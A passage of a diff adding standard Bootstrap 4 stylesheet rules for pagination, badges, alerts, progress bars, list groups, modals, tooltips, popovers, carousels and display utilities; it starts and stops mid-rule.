cursor: auto; + background-color: #fff; + border-color: #dee2e6; +} + +.pagination-lg .page-link { + padding: 0.75rem 1.5rem; + font-size: 1.25rem; + line-height: 1.5; +} + +.pagination-lg .page-item:first-child .page-link { + border-top-left-radius: 0.3rem; + border-bottom-left-radius: 0.3rem; +} + +.pagination-lg .page-item:last-child .page-link { + border-top-right-radius: 0.3rem; + border-bottom-right-radius: 0.3rem; +} + +.pagination-sm .page-link { + padding: 0.25rem 0.5rem; + font-size: 0.875rem; + line-height: 1.5; +} + +.pagination-sm .page-item:first-child .page-link { + border-top-left-radius: 0.2rem; + border-bottom-left-radius: 0.2rem; +} + +.pagination-sm .page-item:last-child .page-link { + border-top-right-radius: 0.2rem; + border-bottom-right-radius: 0.2rem; +} + +.badge { + display: inline-block; + padding: 0.25em 0.4em; + font-size: 75%; + font-weight: 700; + line-height: 1; + text-align: center; + white-space: nowrap; + vertical-align: baseline; + border-radius: 0.25rem; +} + +.badge:empty { + display: none; +} + +.btn .badge { + position: relative; + top: -1px; +} + +.badge-pill { + padding-right: 0.6em; + padding-left: 0.6em; + border-radius: 10rem; +} + +.badge-primary { + color: #fff; + background-color: #007bff; +} + +.badge-primary[href]:hover, .badge-primary[href]:focus { + color: #fff; + text-decoration: none; + background-color: #0062cc; +} + +.badge-secondary { + color: #fff; + background-color: #6c757d; +} + +.badge-secondary[href]:hover, .badge-secondary[href]:focus { + color: #fff; + text-decoration: none; + background-color: #545b62; +} + +.badge-success { + color: #fff; + background-color: #28a745; +} + +.badge-success[href]:hover, .badge-success[href]:focus { + color: #fff; + text-decoration: none; + background-color: #1e7e34; +} + +.badge-info { + color: #fff; + background-color: #17a2b8; +} + +.badge-info[href]:hover, .badge-info[href]:focus { + color: #fff; + text-decoration: none; + background-color: #117a8b; +} + +.badge-warning { + color: #212529; + background-color: #ffc107; +} + +.badge-warning[href]:hover, .badge-warning[href]:focus { + color: #212529; + text-decoration: none; + background-color: #d39e00; +} + +.badge-danger { + color: #fff; + background-color: #dc3545; +} + +.badge-danger[href]:hover, .badge-danger[href]:focus { + color: #fff; + text-decoration: none; + background-color: #bd2130; +} + +.badge-light { + color: #212529; + background-color: #f8f9fa; +} + +.badge-light[href]:hover, .badge-light[href]:focus { + color: #212529; + text-decoration: none; + background-color: #dae0e5; +} + +.badge-dark { + color: #fff; + background-color: #343a40; +} + +.badge-dark[href]:hover, .badge-dark[href]:focus { + color: #fff; + text-decoration: none; + background-color: #1d2124; +} + +.jumbotron { + padding: 2rem 1rem; + margin-bottom: 2rem; + background-color: #e9ecef; + border-radius: 0.3rem; +} + +@media (min-width: 576px) { + .jumbotron { + padding: 4rem 2rem; + } +} + +.jumbotron-fluid { + padding-right: 0; + padding-left: 0; + border-radius: 0; +} + +.alert { + position: relative; + padding: 0.75rem 1.25rem; + margin-bottom: 1rem; + border: 1px solid transparent; + border-radius: 0.25rem; +} + +.alert-heading { + color: inherit; +} + +.alert-link { + font-weight: 700; +} + +.alert-dismissible { + padding-right: 4rem; +} + +.alert-dismissible .close { + position: absolute; + top: 0; + right: 0; + padding: 0.75rem 1.25rem; + color: inherit; +} + +.alert-primary { + color: #004085; + background-color: #cce5ff; + border-color: #b8daff; +} + +.alert-primary hr { + border-top-color: #9fcdff; +} + +.alert-primary .alert-link { + color: #002752; +} + +.alert-secondary { + color: #383d41; + background-color: #e2e3e5; + border-color: #d6d8db; +} + +.alert-secondary hr { + border-top-color: #c8cbcf; +} + +.alert-secondary .alert-link { + color: #202326; +} + +.alert-success { + color: #155724; + background-color: #d4edda; + border-color: #c3e6cb; +} + +.alert-success hr { + border-top-color: #b1dfbb; +} + +.alert-success .alert-link { + color: #0b2e13; +} + +.alert-info { + color: #0c5460; + background-color: #d1ecf1; + border-color: #bee5eb; +} + +.alert-info hr { + border-top-color: #abdde5; +} + +.alert-info .alert-link { + color: #062c33; +} + +.alert-warning { + color: #856404; + background-color: #fff3cd; + border-color: #ffeeba; +} + +.alert-warning hr { + border-top-color: #ffe8a1; +} + +.alert-warning .alert-link { + color: #533f03; +} + +.alert-danger { + color: #721c24; + background-color: #f8d7da; + border-color: #f5c6cb; +} + +.alert-danger hr { + border-top-color: #f1b0b7; +} + +.alert-danger .alert-link { + color: #491217; +} + +.alert-light { + color: #818182; + background-color: #fefefe; + border-color: #fdfdfe; +} + +.alert-light hr { + border-top-color: #ececf6; +} + +.alert-light .alert-link { + color: #686868; +} + +.alert-dark { + color: #1b1e21; + background-color: #d6d8d9; + border-color: #c6c8ca; +} + +.alert-dark hr { + border-top-color: #b9bbbe; +} + +.alert-dark .alert-link { + color: #040505; +} + +@-webkit-keyframes progress-bar-stripes { + from { + background-position: 1rem 0; + } + to { + background-position: 0 0; + } +} + +@keyframes progress-bar-stripes { + from { + background-position: 1rem 0; + } + to { + background-position: 0 0; + } +} + +.progress { + display: -ms-flexbox; + display: flex; + height: 1rem; + overflow: hidden; + font-size: 0.75rem; + background-color: #e9ecef; + border-radius: 0.25rem; +} + +.progress-bar { + display: -ms-flexbox; + display: flex; + -ms-flex-direction: column; + flex-direction: column; + -ms-flex-pack: center; + justify-content: center; + color: #fff; + text-align: center; + white-space: nowrap; + background-color: #007bff; + transition: width 0.6s ease; +} + +@media screen and (prefers-reduced-motion: reduce) { + .progress-bar { + transition: none; + } +} + +.progress-bar-striped { + background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-size: 1rem 1rem; +} + +.progress-bar-animated { + -webkit-animation: progress-bar-stripes 1s linear infinite; + animation: progress-bar-stripes 1s linear infinite; +} + +.media { + display: -ms-flexbox; + display: flex; + -ms-flex-align: start; + align-items: flex-start; +} + +.media-body { + -ms-flex: 1; + flex: 1; +} + +.list-group { + display: -ms-flexbox; + display: flex; + -ms-flex-direction: column; + flex-direction: column; + padding-left: 0; + margin-bottom: 0; +} + +.list-group-item-action { + width: 100%; + color: #495057; + text-align: inherit; +} + +.list-group-item-action:hover, .list-group-item-action:focus { + color: #495057; + text-decoration: none; + background-color: #f8f9fa; +} + +.list-group-item-action:active { + color: #212529; + background-color: #e9ecef; +} + +.list-group-item { + position: relative; + display: block; + padding: 0.75rem 1.25rem; + margin-bottom: -1px; + background-color: #fff; + border: 1px solid rgba(0, 0, 0, 0.125); +} + +.list-group-item:first-child { + border-top-left-radius: 0.25rem; + border-top-right-radius: 0.25rem; +} + +.list-group-item:last-child { + margin-bottom: 0; + border-bottom-right-radius: 0.25rem; + border-bottom-left-radius: 0.25rem; +} + +.list-group-item:hover, .list-group-item:focus { + z-index: 1; + text-decoration: none; +} + +.list-group-item.disabled, .list-group-item:disabled { + color: #6c757d; + background-color: #fff; +} + +.list-group-item.active { + z-index: 2; + color: #fff; + background-color: #007bff; + border-color: #007bff; +} + +.list-group-flush .list-group-item { + border-right: 0; + border-left: 0; + border-radius: 0; +} + +.list-group-flush:first-child .list-group-item:first-child { + border-top: 0; +} + +.list-group-flush:last-child .list-group-item:last-child { + border-bottom: 0; +} + +.list-group-item-primary { + color: #004085; + background-color: #b8daff; +} + +.list-group-item-primary.list-group-item-action:hover, .list-group-item-primary.list-group-item-action:focus { + color: #004085; + background-color: #9fcdff; +} + +.list-group-item-primary.list-group-item-action.active { + color: #fff; + background-color: #004085; + border-color: #004085; +} + +.list-group-item-secondary { + color: #383d41; + background-color: #d6d8db; +} + +.list-group-item-secondary.list-group-item-action:hover, .list-group-item-secondary.list-group-item-action:focus { + color: #383d41; + background-color: #c8cbcf; +} + +.list-group-item-secondary.list-group-item-action.active { + color: #fff; + background-color: #383d41; + border-color: #383d41; +} + +.list-group-item-success { + color: #155724; + background-color: #c3e6cb; +} + +.list-group-item-success.list-group-item-action:hover, .list-group-item-success.list-group-item-action:focus { + color: #155724; + background-color: #b1dfbb; +} + +.list-group-item-success.list-group-item-action.active { + color: #fff; + background-color: #155724; + border-color: #155724; +} + +.list-group-item-info { + color: #0c5460; + background-color: #bee5eb; +} + +.list-group-item-info.list-group-item-action:hover, .list-group-item-info.list-group-item-action:focus { + color: #0c5460; + background-color: #abdde5; +} + +.list-group-item-info.list-group-item-action.active { + color: #fff; + background-color: #0c5460; + border-color: #0c5460; +} + +.list-group-item-warning { + color: #856404; + background-color: #ffeeba; +} + +.list-group-item-warning.list-group-item-action:hover, .list-group-item-warning.list-group-item-action:focus { + color: #856404; + background-color: #ffe8a1; +} + +.list-group-item-warning.list-group-item-action.active { + color: #fff; + background-color: #856404; + border-color: #856404; +} + +.list-group-item-danger { + color: #721c24; + background-color: #f5c6cb; +} + +.list-group-item-danger.list-group-item-action:hover, .list-group-item-danger.list-group-item-action:focus { + color: #721c24; + background-color: #f1b0b7; +} + +.list-group-item-danger.list-group-item-action.active { + color: #fff; + background-color: #721c24; + border-color: #721c24; +} + +.list-group-item-light { + color: #818182; + background-color: #fdfdfe; +} + +.list-group-item-light.list-group-item-action:hover, .list-group-item-light.list-group-item-action:focus { + color: #818182; + background-color: #ececf6; +} + +.list-group-item-light.list-group-item-action.active { + color: #fff; + background-color: #818182; + border-color: #818182; +} + +.list-group-item-dark { + color: #1b1e21; + background-color: #c6c8ca; +} + +.list-group-item-dark.list-group-item-action:hover, .list-group-item-dark.list-group-item-action:focus { + color: #1b1e21; + background-color: #b9bbbe; +} + +.list-group-item-dark.list-group-item-action.active { + color: #fff; + background-color: #1b1e21; + border-color: #1b1e21; +} + +.close { + float: right; + font-size: 1.5rem; + font-weight: 700; + line-height: 1; + color: #000; + text-shadow: 0 1px 0 #fff; + opacity: .5; +} + +.close:hover, .close:focus { + color: #000; + text-decoration: none; + opacity: .75; +} + +.close:not(:disabled):not(.disabled) { + cursor: pointer; +} + +button.close { + padding: 0; + background-color: transparent; + border: 0; + -webkit-appearance: none; +} + +.modal-open { + overflow: hidden; +} + +.modal { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1050; + display: none; + overflow: hidden; + outline: 0; +} + +.modal-open .modal { + overflow-x: hidden; + overflow-y: auto; +} + +.modal-dialog { + position: relative; + width: auto; + margin: 0.5rem; + pointer-events: none; +} + +.modal.fade .modal-dialog { + transition: -webkit-transform 0.3s ease-out; + transition: transform 0.3s ease-out; + transition: transform 0.3s ease-out, -webkit-transform 0.3s ease-out; + -webkit-transform: translate(0, -25%); + transform: translate(0, -25%); +} + +@media screen and (prefers-reduced-motion: reduce) { + .modal.fade .modal-dialog { + transition: none; + } +} + +.modal.show .modal-dialog { + -webkit-transform: translate(0, 0); + transform: translate(0, 0); +} + +.modal-dialog-centered { + display: -ms-flexbox; + display: flex; + -ms-flex-align: center; + align-items: center; + min-height: calc(100% - (0.5rem * 2)); +} + +.modal-content { + position: relative; + display: -ms-flexbox; + display: flex; + -ms-flex-direction: column; + flex-direction: column; + width: 100%; + pointer-events: auto; + background-color: #fff; + background-clip: padding-box; + border: 1px solid rgba(0, 0, 0, 0.2); + border-radius: 0.3rem; + outline: 0; +} + +.modal-backdrop { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1040; + background-color: #000; +} + +.modal-backdrop.fade { + opacity: 0; +} + +.modal-backdrop.show { + opacity: 0.5; +} + +.modal-header { + display: -ms-flexbox; + display: flex; + -ms-flex-align: start; + align-items: flex-start; + -ms-flex-pack: justify; + justify-content: space-between; + padding: 1rem; + border-bottom: 1px solid #e9ecef; + border-top-left-radius: 0.3rem; + border-top-right-radius: 0.3rem; +} + +.modal-header .close { + padding: 1rem; + margin: -1rem -1rem -1rem auto; +} + +.modal-title { + margin-bottom: 0; + line-height: 1.5; +} + +.modal-body { + position: relative; + -ms-flex: 1 1 auto; + flex: 1 1 auto; + padding: 1rem; +} + +.modal-footer { + display: -ms-flexbox; + display: flex; + -ms-flex-align: center; + align-items: center; + -ms-flex-pack: end; + justify-content: flex-end; + padding: 1rem; + border-top: 1px solid #e9ecef; +} + +.modal-footer > :not(:first-child) { + margin-left: .25rem; +} + +.modal-footer > :not(:last-child) { + margin-right: .25rem; +} + +.modal-scrollbar-measure { + position: absolute; + top: -9999px; + width: 50px; + height: 50px; + overflow: scroll; +} + +@media (min-width: 576px) { + .modal-dialog { + max-width: 500px; + margin: 1.75rem auto; + } + .modal-dialog-centered { + min-height: calc(100% - (1.75rem * 2)); + } + .modal-sm { + max-width: 300px; + } +} + +@media (min-width: 992px) { + .modal-lg { + max-width: 800px; + } +} + +.tooltip { + position: absolute; + z-index: 1070; + display: block; + margin: 0; + font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; + font-style: normal; + font-weight: 400; + line-height: 1.5; + text-align: left; + text-align: start; + text-decoration: none; + text-shadow: none; + text-transform: none; + letter-spacing: normal; + word-break: normal; + word-spacing: normal; + white-space: normal; + line-break: auto; + font-size: 0.875rem; + word-wrap: break-word; + opacity: 0; +} + +.tooltip.show { + opacity: 0.9; +} + +.tooltip .arrow { + position: absolute; + display: block; + width: 0.8rem; + height: 0.4rem; +} + +.tooltip .arrow::before { + position: absolute; + content: ""; + border-color: transparent; + border-style: solid; +} + +.bs-tooltip-top, .bs-tooltip-auto[x-placement^="top"] { + padding: 0.4rem 0; +} + +.bs-tooltip-top .arrow, .bs-tooltip-auto[x-placement^="top"] .arrow { + bottom: 0; +} + +.bs-tooltip-top .arrow::before, .bs-tooltip-auto[x-placement^="top"] .arrow::before { + top: 0; + border-width: 0.4rem 0.4rem 0; + border-top-color: #000; +} + +.bs-tooltip-right, .bs-tooltip-auto[x-placement^="right"] { + padding: 0 0.4rem; +} + +.bs-tooltip-right .arrow, .bs-tooltip-auto[x-placement^="right"] .arrow { + left: 0; + width: 0.4rem; + height: 0.8rem; +} + +.bs-tooltip-right .arrow::before, .bs-tooltip-auto[x-placement^="right"] .arrow::before { + right: 0; + border-width: 0.4rem 0.4rem 0.4rem 0; + border-right-color: #000; +} + +.bs-tooltip-bottom, .bs-tooltip-auto[x-placement^="bottom"] { + padding: 0.4rem 0; +} + +.bs-tooltip-bottom .arrow, .bs-tooltip-auto[x-placement^="bottom"] .arrow { + top: 0; +} + +.bs-tooltip-bottom .arrow::before, .bs-tooltip-auto[x-placement^="bottom"] .arrow::before { + bottom: 0; + border-width: 0 0.4rem 0.4rem; + border-bottom-color: #000; +} + +.bs-tooltip-left, .bs-tooltip-auto[x-placement^="left"] { + padding: 0 0.4rem; +} + +.bs-tooltip-left .arrow, .bs-tooltip-auto[x-placement^="left"] .arrow { + right: 0; + width: 0.4rem; + height: 0.8rem; +} + +.bs-tooltip-left .arrow::before, .bs-tooltip-auto[x-placement^="left"] .arrow::before { + left: 0; + border-width: 0.4rem 0 0.4rem 0.4rem; + border-left-color: #000; +} + +.tooltip-inner { + max-width: 200px; + padding: 0.25rem 0.5rem; + color: #fff; + text-align: center; + background-color: #000; + border-radius: 0.25rem; +} + +.popover { + position: absolute; + top: 0; + left: 0; + z-index: 1060; + display: block; + max-width: 276px; + font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; + font-style: normal; + font-weight: 400; + line-height: 1.5; + text-align: left; + text-align: start; + text-decoration: none; + text-shadow: none; + text-transform: none; + letter-spacing: normal; + word-break: normal; + word-spacing: normal; + white-space: normal; + line-break: auto; + font-size: 0.875rem; + word-wrap: break-word; + background-color: #fff; + background-clip: padding-box; + border: 1px solid rgba(0, 0, 0, 0.2); + border-radius: 0.3rem; +} + +.popover .arrow { + position: absolute; + display: block; + width: 1rem; + height: 0.5rem; + margin: 0 0.3rem; +} + +.popover .arrow::before, .popover .arrow::after { + position: absolute; + display: block; + content: ""; + border-color: transparent; + border-style: solid; +} + +.bs-popover-top, .bs-popover-auto[x-placement^="top"] { + margin-bottom: 0.5rem; +} + +.bs-popover-top .arrow, .bs-popover-auto[x-placement^="top"] .arrow { + bottom: calc((0.5rem + 1px) * -1); +} + +.bs-popover-top .arrow::before, .bs-popover-auto[x-placement^="top"] .arrow::before, +.bs-popover-top .arrow::after, .bs-popover-auto[x-placement^="top"] .arrow::after { + border-width: 0.5rem 0.5rem 0; +} + +.bs-popover-top .arrow::before, .bs-popover-auto[x-placement^="top"] .arrow::before { + bottom: 0; + border-top-color: rgba(0, 0, 0, 0.25); +} + +.bs-popover-top .arrow::after, .bs-popover-auto[x-placement^="top"] .arrow::after { + bottom: 1px; + border-top-color: #fff; +} + +.bs-popover-right, .bs-popover-auto[x-placement^="right"] { + margin-left: 0.5rem; +} + +.bs-popover-right .arrow, .bs-popover-auto[x-placement^="right"] .arrow { + left: calc((0.5rem + 1px) * -1); + width: 0.5rem; + height: 1rem; + margin: 0.3rem 0; +} + +.bs-popover-right .arrow::before, .bs-popover-auto[x-placement^="right"] .arrow::before, +.bs-popover-right .arrow::after, .bs-popover-auto[x-placement^="right"] .arrow::after { + border-width: 0.5rem 0.5rem 0.5rem 0; +} + +.bs-popover-right .arrow::before, .bs-popover-auto[x-placement^="right"] .arrow::before { + left: 0; + border-right-color: rgba(0, 0, 0, 0.25); +} + +.bs-popover-right .arrow::after, .bs-popover-auto[x-placement^="right"] .arrow::after { + left: 1px; + border-right-color: #fff; +} + +.bs-popover-bottom, .bs-popover-auto[x-placement^="bottom"] { + margin-top: 0.5rem; +} + +.bs-popover-bottom .arrow, .bs-popover-auto[x-placement^="bottom"] .arrow { + top: calc((0.5rem + 1px) * -1); +} + +.bs-popover-bottom .arrow::before, .bs-popover-auto[x-placement^="bottom"] .arrow::before, +.bs-popover-bottom .arrow::after, .bs-popover-auto[x-placement^="bottom"] .arrow::after { + border-width: 0 0.5rem 0.5rem 0.5rem; +} + +.bs-popover-bottom .arrow::before, .bs-popover-auto[x-placement^="bottom"] .arrow::before { + top: 0; + border-bottom-color: rgba(0, 0, 0, 0.25); +} + +.bs-popover-bottom .arrow::after, .bs-popover-auto[x-placement^="bottom"] .arrow::after { + top: 1px; + border-bottom-color: #fff; +} + +.bs-popover-bottom .popover-header::before, .bs-popover-auto[x-placement^="bottom"] .popover-header::before { + position: absolute; + top: 0; + left: 50%; + display: block; + width: 1rem; + margin-left: -0.5rem; + content: ""; + border-bottom: 1px solid #f7f7f7; +} + +.bs-popover-left, .bs-popover-auto[x-placement^="left"] { + margin-right: 0.5rem; +} + +.bs-popover-left .arrow, .bs-popover-auto[x-placement^="left"] .arrow { + right: calc((0.5rem + 1px) * -1); + width: 0.5rem; + height: 1rem; + margin: 0.3rem 0; +} + +.bs-popover-left .arrow::before, .bs-popover-auto[x-placement^="left"] .arrow::before, +.bs-popover-left .arrow::after, .bs-popover-auto[x-placement^="left"] .arrow::after { + border-width: 0.5rem 0 0.5rem 0.5rem; +} + +.bs-popover-left .arrow::before, .bs-popover-auto[x-placement^="left"] .arrow::before { + right: 0; + border-left-color: rgba(0, 0, 0, 0.25); +} + +.bs-popover-left .arrow::after, .bs-popover-auto[x-placement^="left"] .arrow::after { + right: 1px; + border-left-color: #fff; +} + +.popover-header { + padding: 0.5rem 0.75rem; + margin-bottom: 0; + font-size: 1rem; + color: inherit; + background-color: #f7f7f7; + border-bottom: 1px solid #ebebeb; + border-top-left-radius: calc(0.3rem - 1px); + border-top-right-radius: calc(0.3rem - 1px); +} + +.popover-header:empty { + display: none; +} + +.popover-body { + padding: 0.5rem 0.75rem; + color: #212529; +} + +.carousel { + position: relative; +} + +.carousel-inner { + position: relative; + width: 100%; + overflow: hidden; +} + +.carousel-item { + position: relative; + display: none; + -ms-flex-align: center; + align-items: center; + width: 100%; + transition: -webkit-transform 0.6s ease; + transition: transform 0.6s ease; + transition: transform 0.6s ease, -webkit-transform 0.6s ease; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + -webkit-perspective: 1000px; + perspective: 1000px; +} + +@media screen and (prefers-reduced-motion: reduce) { + .carousel-item { + transition: none; + } +} + +.carousel-item.active, +.carousel-item-next, +.carousel-item-prev { + display: block; +} + +.carousel-item-next, +.carousel-item-prev { + position: absolute; + top: 0; +} + +.carousel-item-next.carousel-item-left, +.carousel-item-prev.carousel-item-right { + -webkit-transform: translateX(0); + transform: translateX(0); +} + +@supports ((-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d)) { + .carousel-item-next.carousel-item-left, + .carousel-item-prev.carousel-item-right { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} + +.carousel-item-next, +.active.carousel-item-right { + -webkit-transform: translateX(100%); + transform: translateX(100%); +} + +@supports ((-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d)) { + .carousel-item-next, + .active.carousel-item-right { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); + } +} + +.carousel-item-prev, +.active.carousel-item-left { + -webkit-transform: translateX(-100%); + transform: translateX(-100%); +} + +@supports ((-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d)) { + .carousel-item-prev, + .active.carousel-item-left { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + } +} + +.carousel-fade .carousel-item { + opacity: 0; + transition-duration: .6s; + transition-property: opacity; +} + +.carousel-fade .carousel-item.active, +.carousel-fade .carousel-item-next.carousel-item-left, +.carousel-fade .carousel-item-prev.carousel-item-right { + opacity: 1; +} + +.carousel-fade .active.carousel-item-left, +.carousel-fade .active.carousel-item-right { + opacity: 0; +} + +.carousel-fade .carousel-item-next, +.carousel-fade .carousel-item-prev, +.carousel-fade .carousel-item.active, +.carousel-fade .active.carousel-item-left, +.carousel-fade .active.carousel-item-prev { + -webkit-transform: translateX(0); + transform: translateX(0); +} + +@supports ((-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d)) { + .carousel-fade .carousel-item-next, + .carousel-fade .carousel-item-prev, + .carousel-fade .carousel-item.active, + .carousel-fade .active.carousel-item-left, + .carousel-fade .active.carousel-item-prev { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} + +.carousel-control-prev, +.carousel-control-next { + position: absolute; + top: 0; + bottom: 0; + display: -ms-flexbox; + display: flex; + -ms-flex-align: center; + align-items: center; + -ms-flex-pack: center; + justify-content: center; + width: 15%; + color: #fff; + text-align: center; + opacity: 0.5; +} + +.carousel-control-prev:hover, .carousel-control-prev:focus, +.carousel-control-next:hover, +.carousel-control-next:focus { + color: #fff; + text-decoration: none; + outline: 0; + opacity: .9; +} + +.carousel-control-prev { + left: 0; +} + +.carousel-control-next { + right: 0; +} + +.carousel-control-prev-icon, +.carousel-control-next-icon { + display: inline-block; + width: 20px; + height: 20px; + background: transparent no-repeat center center; + background-size: 100% 100%; +} + +.carousel-control-prev-icon { + background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E"); +} + +.carousel-control-next-icon { + background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E"); +} + +.carousel-indicators { + position: absolute; + right: 0; + bottom: 10px; + left: 0; + z-index: 15; + display: -ms-flexbox; + display: flex; + -ms-flex-pack: center; + justify-content: center; + padding-left: 0; + margin-right: 15%; + margin-left: 15%; + list-style: none; +} + +.carousel-indicators li { + position: relative; + -ms-flex: 0 1 auto; + flex: 0 1 auto; + width: 30px; + height: 3px; + margin-right: 3px; + margin-left: 3px; + text-indent: -999px; + background-color: rgba(255, 255, 255, 0.5); +} + +.carousel-indicators li::before { + position: absolute; + top: -10px; + left: 0; + display: inline-block; + width: 100%; + height: 10px; + content: ""; +} + +.carousel-indicators li::after { + position: absolute; + bottom: -10px; + left: 0; + display: inline-block; + width: 100%; + height: 10px; + content: ""; +} + +.carousel-indicators .active { + background-color: #fff; +} + +.carousel-caption { + position: absolute; + right: 15%; + bottom: 20px; + left: 15%; + z-index: 10; + padding-top: 20px; + padding-bottom: 20px; + color: #fff; + text-align: center; +} + +.align-baseline { + vertical-align: baseline !important; +} + +.align-top { + vertical-align: top !important; +} + +.align-middle { + vertical-align: middle !important; +} + +.align-bottom { + vertical-align: bottom !important; +} + +.align-text-bottom { + vertical-align: text-bottom !important; +} + +.align-text-top { + vertical-align: text-top !important; +} + +.bg-primary { + background-color: #007bff !important; +} + +a.bg-primary:hover, a.bg-primary:focus, +button.bg-primary:hover, +button.bg-primary:focus { + background-color: #0062cc !important; +} + +.bg-secondary { + background-color: #6c757d !important; +} + +a.bg-secondary:hover, a.bg-secondary:focus, +button.bg-secondary:hover, +button.bg-secondary:focus { + background-color: #545b62 !important; +} + +.bg-success { + background-color: #28a745 !important; +} + +a.bg-success:hover, a.bg-success:focus, +button.bg-success:hover, +button.bg-success:focus { + background-color: #1e7e34 !important; +} + +.bg-info { + background-color: #17a2b8 !important; +} + +a.bg-info:hover, a.bg-info:focus, +button.bg-info:hover, +button.bg-info:focus { + background-color: #117a8b !important; +} + +.bg-warning { + background-color: #ffc107 !important; +} + +a.bg-warning:hover, a.bg-warning:focus, +button.bg-warning:hover, +button.bg-warning:focus { + background-color: #d39e00 !important; +} + +.bg-danger { + background-color: #dc3545 !important; +} + +a.bg-danger:hover, a.bg-danger:focus, +button.bg-danger:hover, +button.bg-danger:focus { + background-color: #bd2130 !important; +} + +.bg-light { + background-color: #f8f9fa !important; +} + +a.bg-light:hover, a.bg-light:focus, +button.bg-light:hover, +button.bg-light:focus { + background-color: #dae0e5 !important; +} + +.bg-dark { + background-color: #343a40 !important; +} + +a.bg-dark:hover, a.bg-dark:focus, +button.bg-dark:hover, +button.bg-dark:focus { + background-color: #1d2124 !important; +} + +.bg-white { + background-color: #fff !important; +} + +.bg-transparent { + background-color: transparent !important; +} + +.border { + border: 1px solid #dee2e6 !important; +} + +.border-top { + border-top: 1px solid #dee2e6 !important; +} + +.border-right { + border-right: 1px solid #dee2e6 !important; +} + +.border-bottom { + border-bottom: 1px solid #dee2e6 !important; +} + +.border-left { + border-left: 1px solid #dee2e6 !important; +} + +.border-0 { + border: 0 !important; +} + +.border-top-0 { + border-top: 0 !important; +} + +.border-right-0 { + border-right: 0 !important; +} + +.border-bottom-0 { + border-bottom: 0 !important; +} + +.border-left-0 { + border-left: 0 !important; +} + +.border-primary { + border-color: #007bff !important; +} + +.border-secondary { + border-color: #6c757d !important; +} + +.border-success { + border-color: #28a745 !important; +} + +.border-info { + border-color: #17a2b8 !important; +} + +.border-warning { + border-color: #ffc107 !important; +} + +.border-danger { + border-color: #dc3545 !important; +} + +.border-light { + border-color: #f8f9fa !important; +} + +.border-dark { + border-color: #343a40 !important; +} + +.border-white { + border-color: #fff !important; +} + +.rounded { + border-radius: 0.25rem !important; +} + +.rounded-top { + border-top-left-radius: 0.25rem !important; + border-top-right-radius: 0.25rem !important; +} + +.rounded-right { + border-top-right-radius: 0.25rem !important; + border-bottom-right-radius: 0.25rem !important; +} + +.rounded-bottom { + border-bottom-right-radius: 0.25rem !important; + border-bottom-left-radius: 0.25rem !important; +} + +.rounded-left { + border-top-left-radius: 0.25rem !important; + border-bottom-left-radius: 0.25rem !important; +} + +.rounded-circle { + border-radius: 50% !important; +} + +.rounded-0 { + border-radius: 0 !important; +} + +.clearfix::after { + display: block; + clear: both; + content: ""; +} + +.d-none { + display: none !important; +} + +.d-inline { + display: inline !important; +} + +.d-inline-block { + display: inline-block !important; +} + +.d-block { + display: block !important; +} + +.d-table { + display: table !important; +} + +.d-table-row { + display: table-row !important; +} + +.d-table-cell { + display: table-cell !important; +} + +.d-flex { + display: -ms-flexbox !important; + display: flex !important; +} + +.d-inline-flex { + display: -ms-inline-flexbox !important; + display: inline-flex !important; +} + +@media (min-width: 576px) { + .d-sm-none { + display: none !important; + } + .d-sm-inline { + display: inline !important; + } + .d-sm-inline-block { + display: inline-block !important; + } + .d-sm-block { + display: block !important; + } + .d-sm-table { + display: table !important; + } + .d-sm-table-row { + display: table-row !important; + } + .d-sm-table-cell { + display: table-cell !important; + } + .d-sm-flex { + display: -ms-flexbox !important; + display: flex !important; + } + .d-sm-inline-flex { + display: -ms-inline-flexbox !important; + display: inline-flex !important; + } +} + +@media (min-width: 768px) { + .d-md-none { + display: none !important; + } + .d-md-inline { + display: inline !important; + } + .d-md-inline-block { + display: inline-block !important; + } + .d-md-block { + display: block !important; + } + .d-md-table { + display: table !important; + } + .d-md-table-row { + display: table-row !important; + } + .d-md-table-cell { + display: table-cell !important; + } + .d-md-flex { + display: -ms-flexbox !important; + display: flex !important; + } + .d-md-inline-flex { + display: -ms-inline-flexbox !important; + display: inline-flex !important; + } +} + +@media (min-width: 992px) { + .d-lg-none { + display: none !important; + } + .d-lg-inline { + display: inline !important; + } + .d-lg-inline-block { + display: inline-block !important; + } + .d-lg-block { + display: block !important; + } + .d-lg-table { + display: table !important; + } + .d-lg-table-row { + display: table-row !important; + } + .d-lg-table-cell { + display: table-cell !important; + } + .d-lg-flex { + display: -ms-flexbox !important; + display: flex !important; + } + .d-lg-inline-flex { + display: -ms-inline-flexbox !important; + display: inline-flex !important; + } +} + +@media (min-width: 1200px) { + .d-xl-none { + display: none !important; + } + .d-xl-inline { + display: inline !important; + } + .d-xl-inline-block { + display: inline-block !important; + } + .d-xl-block { + display: block !important; + } + .d-xl-table { + display: table !important; + } + .d-xl-table-row { + display: table-row !important; + } + 